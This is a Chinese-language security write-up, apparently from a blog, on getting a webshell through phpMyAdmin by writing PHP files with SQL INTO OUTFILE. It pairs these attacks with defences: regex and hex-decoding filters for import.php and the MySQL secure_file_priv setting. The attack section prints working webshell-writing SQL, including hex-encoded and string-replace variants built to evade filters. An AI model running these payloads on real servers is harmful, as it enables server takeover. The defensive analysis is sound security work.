目录
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性
0x1: Mysql SQL预编译(PREPARE Syntax)
/*
1. stmt_name: The PREPARE statement prepares a SQL statement and assigns it a name, stmt_name, by which to refer to the statement later.
2. preparable_stmt: preparable_stmt is either a string literal or a user variable that contains the text of the SQL statement. The text must represent a single statement, not multiple statements.
*/
PREPARE stmt_name FROM preparable_stmt
0x2: Mysql SQL执行(EXECUTE Syntax)
EXECUTE stmt_name
[USING @var_name [, @var_name] ...]
//After preparing a statement with PREPARE, you execute it with an EXECUTE statement that refers to the prepared statement name. If the prepared statement contains any parameter markers, you must supply a USING clause that lists user variables containing the values to be bound to the parameters.
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/prepare.html
https://dev.mysql.com/doc/refman/5.0/en/execute.html
http://zone.wooyun.org/content/22606
2. 漏洞触发条件
. 已知phpmyadmin的root密码,即mysql的root密码(phpmyadmin只是通过web方式连接mysql的工具)
) mysql本身默认的弱口令
) 通过其他漏洞(例如注入)获得了mysql的root密码
. 已知网站的物理路径
) 在phpmyadmin的后台的"变量"tab页面,可以看到mysql的物理路径,从而推测出网站的物理路径
) 通过其他web漏洞获得网站的物理路径
通过phpmyadmin进行getshell的核心就是通过sql进行文件写的操作,常见的sql如下
-------
DROP TABLE IF EXISTS `a`;
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('xx');
select cmd from a into outfile 'C:/phpStudy/WWW/ali.php'
Drop TABLE IF EXISTS a;
------- -------
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
------- -------
set @strSql = replace("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/WWW/phpMyAdmin/alibaba.php'","outo","into");
prepare a from @strSql;
execute a;
------- -------
//select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
SET @SQLString = 0x73656c65637420273c3f70687020406576616c28245f504f53545b706173735d293b3f3e27494e544f204f555446494c452027643a2f77616d702f7777772f6578656861636b2e70687027;
PREPARE test FROM @SQLString;
EXECUTE test;
------- -------
//declared mysql function
use test;
delimiter $$
CREATE FUNCTION myFunction
(in_string VARCHAR())
RETURNS VARCHAR() BEGIN
DECLARE new_string VARCHAR();
SET new_string = replace(in_string,"outo","into");
RETURN(new_string);
END$$ //hack
delimiter ;
SET @SQLString = test.myFunction("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/alibaba.php'");
PREPARE test FROM @SQLString;
EXECUTE test;
-------
Relevant Link:
http://www.exehack.net/681.html
http://www.exehack.net/99.html
http://www.187299.com/archives/1695
3. 漏洞影响范围
全部phpmyadmin版本
4. 漏洞代码分析
/phpMyAdmin/import.php
所有处理用户自定义SQL解析执行的逻辑都在这个PHP文件中实现
/*
this code point is important
$import_text is the one that need to be check strictly
*/
if ($go_sql)
{
// parse sql query
include_once 'libraries/parse_analyze.inc.php'; if (isset($ajax_reload) && $ajax_reload['reload'] === true)
{
$response = PMA_Response::getInstance();
$response->addJSON('ajax_reload', $ajax_reload);
}
PMA_executeQueryAndSendQueryResponse(
$analyzed_sql_results, false, $db, $table, null, $import_text, null,
$analyzed_sql_results['is_affected'], null,
null, null, null, $goto, $pmaThemeImage, null, null, null, $sql_query,
null, null
);
}
else if ($result)
{
// Save a Bookmark with more than one queries (if Bookmark label given).
if (! empty($_POST['bkm_label']) && ! empty($import_text))
{
PMA_storeTheQueryAsBookmark(
$db, $GLOBALS['cfg']['Bookmark']['user'],
$import_text, $_POST['bkm_label'],
isset($_POST['bkm_replace']) ? $_POST['bkm_replace'] : null
);
} $response = PMA_Response::getInstance();
$response->isSuccess(true);
$response->addJSON('message', PMA_Message::success($msg));
$response->addJSON(
'sql_query',
PMA_Util::getMessage($msg, $sql_query, 'success')
);
}
else if ($result == false)
{
$response = PMA_Response::getInstance();
$response->isSuccess(false);
$response->addJSON('message', PMA_Message::error($msg));
}
else
{
$active_page = $goto;
include '' . $goto;
}
5. 防御方法
对变量$import_text进行恶意检查是我们针对phpmyadmin执行sql导出文件getshell攻击的防御思路
/phpMyAdmin/import.php
} elseif (! empty($id_bookmark)) {
// run bookmark
$import_type = 'query';
$format = 'sql';
} //在文件的最开头进行SQL恶意检测,最大程度地兼容所有pmd的sql解析、执行逻辑
if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $import_text, $matches)) { $erromsg = "request error!" . "</br>" . $matches[]; die($erromsg); }
//file name filter
$matchResult = preg_match_all("#\b(0[xX]){0,1}[0-9a-fA-F]+\b#", $import_text, $matchs);
if($matchResult != && $matchResult != FALSE)
{
foreach ($matchs[] as $key => $value)
{
$hex = substr($value, );
$import_text_hex = hex2bin($hex);
if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)#i', strtolower($import_text_hex), $matches_1)) { $pmderromsg = "request error!" . "</br>" . $matches_1[]; die($pmderromsg); }
}
}
要特别注意的是,在使用PHP的正则匹配引擎的时候,需要考虑到换行场景下的bypass风险
还需要注意的,MYSQL存在很多扩展语法,例如
. 定义存储过程
. 定义函数
. 定义触发器
. 使用语法预处理编译
/*
prepare stmt from 'select count(*) from information_schema.schemata';
这里待编译的sql语句也可以进行字符变形以此进行bypass
execute stmt;
*/
从攻防的本质上来讲,phpmyadmin的自定义sql导出shell接口这里的修复只是防御了攻击的一条向量,黑客还可以通过其他的攻击向量发起攻击
. 通过mysql弱口令,进mysql,添加一个账户,开启远程外连
. 通过mysql命令行连接之后,通过命令行执行sql导出文件
要想做到彻底防御,要从多个角度入手进行防御
. 对phpmyadmin的/import.php进行代码层防御,禁止用户执行导出文件相关的GETSHELL
. 对mysql的弱口令密码进行健康检测,提示管理员修改密码
. 使用主动防御Hook技术,接管文件系统,禁止mysql进行写xxx.php文件
0x2: 权限ACL控制
mysql5.7以后新增了对文件操作的ACL控制
Command-Line Format | --secure-file-priv=dir_name |
||
System Variable | Name | secure_file_priv |
|
Variable Scope | Global | ||
Dynamic Variable | No | ||
Permitted Values (<= 5.7.5) | Type | string | |
Default | empty |
||
Valid Values | empty |
||
dirname |
|||
Permitted Values (>= 5.7.6) | Type | string | |
Default | platform specific |
||
Valid Values | empty |
||
dirname |
|||
NULL |
默认情况下,利用mysql文件导出写shell会遇到如下错误
需要手工添加信任目录
Relevant Link:
http://php.net/manual/en/function.preg-match.php#111573
http://blog.sina.com.cn/s/blog_3fe961ae01013r8f.html
https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk的更多相关文章
-
getshell技巧-phpMyAdmin的利用
生活就是泥沙俱下,鲜花和荆棘并存.--毕淑敏 1.明确目标2.信息收集3.漏洞挖掘和利用 信息收集 明确路径 利用目录扫描工具,对目标网站进行扫描,获取网站目录.常用工具有Kali中的DirBuste ...
-
TT8509: PL/SQL execution terminated; PLSQL_TIMEOUT exceeded
TT8509: PL/SQL execution terminated; PLSQL_TIMEOUT exceeded plsql_timeout连接超时,解决办法: ODBC pl/sql选项卡 修 ...
-
sql server数据库字段名要注意不能叫file
sql server数据库字段名要注意不能叫file 如java 中 private string file,这是sql 的关键字
-
PL/SQL developer export/import (转)
export/import图标为灰色:原因:相关应用程序没有关联菜单栏 --> Tools --> Import Tables... --> Oracle Import Export ...
-
[转载] Can&#39;t create table &#39;./store/#sql-b2c_1a.frm&#39; (errno: 150)和sql execution error #1452添加外键时错误解决方法
Can't create table './store/#sql-b2c_1a.frm' (errno: 150)解决方法 错误原因有四: 1.外键的引用类型不一样,主键是int外键是char 2.找 ...
-
Error:Execution failed for task &#39;:app:mergeDebugResources&#39;. >; Error: Some file crunching failed, see logs for details
android studio中的资源文件命名是不能带有数字的,因为会与R类的资源ID起冲突,所以编译就发生了错误.
-
Spark2.x(六十一):在Spark2.4 Structured Streaming中Dataset是如何执行加载数据源的?
本章主要讨论,在Spark2.4 Structured Streaming读取kafka数据源时,kafka的topic数据是如何被执行的过程进行分析. 以下边例子展开分析: SparkSession ...
-
Python信息采集器使用轻量级关系型数据库SQLite
1,引言Python自带一个轻量级的关系型数据库SQLite.这一数据库使用SQL语言.SQLite作为后端数据库,可以搭配Python建网站,或者为python网络爬虫存储数据.SQLite还在其它 ...
-
python快速教程-vamei
2016年10月26日 12:00:53 今天开始着手python的学习,希望能高效快速的学完! Python基础(上)... 7 实验简介... 7 一.实验说明... 8 1. 环境登录... 8 ...
随机推荐
-
Unity手撸2048小游戏——自动生成4*4棋盘
1.新建文件夹,命prefabs,将刚刚做成的Chessman拖入该文件下,做成预制体 2.删除panel下的Chessman 3.在panel下,新建一个空对象,命名为Chessboard,大小设置 ...
-
thinkphp 介绍
一.ThinkPHP的介绍 MVC M - Model 模型 工作:负责数据的操作 V - View 视图(模板) 工作:负责 ...
-
python中的变量和数据类型
一.变量定义:变量是计算机内存中的一块区域,存储规定范围内的值,值 可以改变,通俗的说变量就是给数据起个名字. 二.变量命名规则: 1. 变量名由字母.数字.下划线组成 2. 数字不能开头 3. 不可 ...
-
设计模式之代理模式(Proxy)
只能指针是代理模式的一种: 智能指针实现需要注意的问题: 1.构造函数指明显示构造. 2.拷贝构造函数,先断开前一个指针,然后用之前指针的值初始化现在的指针. 3.赋值函数需要先断开之前的指针,然后释 ...
-
asp.net中ashx文件如何调用session
如果你要保证数据的安全性,你可以在ashx中使用session验证.如:你的index.aspx中使用jquery回调ashx数据,那么在index.aspx page_load时session[&q ...
-
RPC框架原理与实现
了解一个框架最好的思路就是寻找一个该类型麻雀虽小五脏俱全的开源项目,不负所期,轻量级分布式 RPC 框架 RPC,全称 Remote Procedure Call(远程过程调用),即调用远程计算机上的 ...
-
仿知乎app登录界面(Material Design设计框架拿来就用的TexnInputLayout)
在我脑子里还没有Material Design这种概念,就我个人而言,PC端应用扁平化设计必须成为首选,手当其冲的两款即时通讯旺旺和QQ早就完成UI扁平化的更新,然而客户端扁平化的设计本身就存在天生的 ...
-
Keras 实现一个简单GAN
Keras 实现一个简单GAN 代码中需提供: Loss Function 参见Keras 或者 Tensorflow 文档 model_param_matrix 反向调整的模型参数/参数矩阵 ...
-
1082. Read Number in Chinese (25)-字符串处理
题意就是给出9位以内的数字,按照汉子的读法读出来. 读法请看下方的几个例子: 5 0505 0505 伍亿零伍佰零伍万零伍佰零伍 5 5050 5050 伍亿伍仟零伍拾万伍仟零伍拾 (原本我以为这个 ...
-
Spring生态*项目说明
1.Spring IO platform 说明:用于系统部署,是可集成的,构建现代化应用的版本平台 2.Spring Boot 说明:旨在简化创建产品级的 Spring 应用和服务,简化了配置文件,使 ...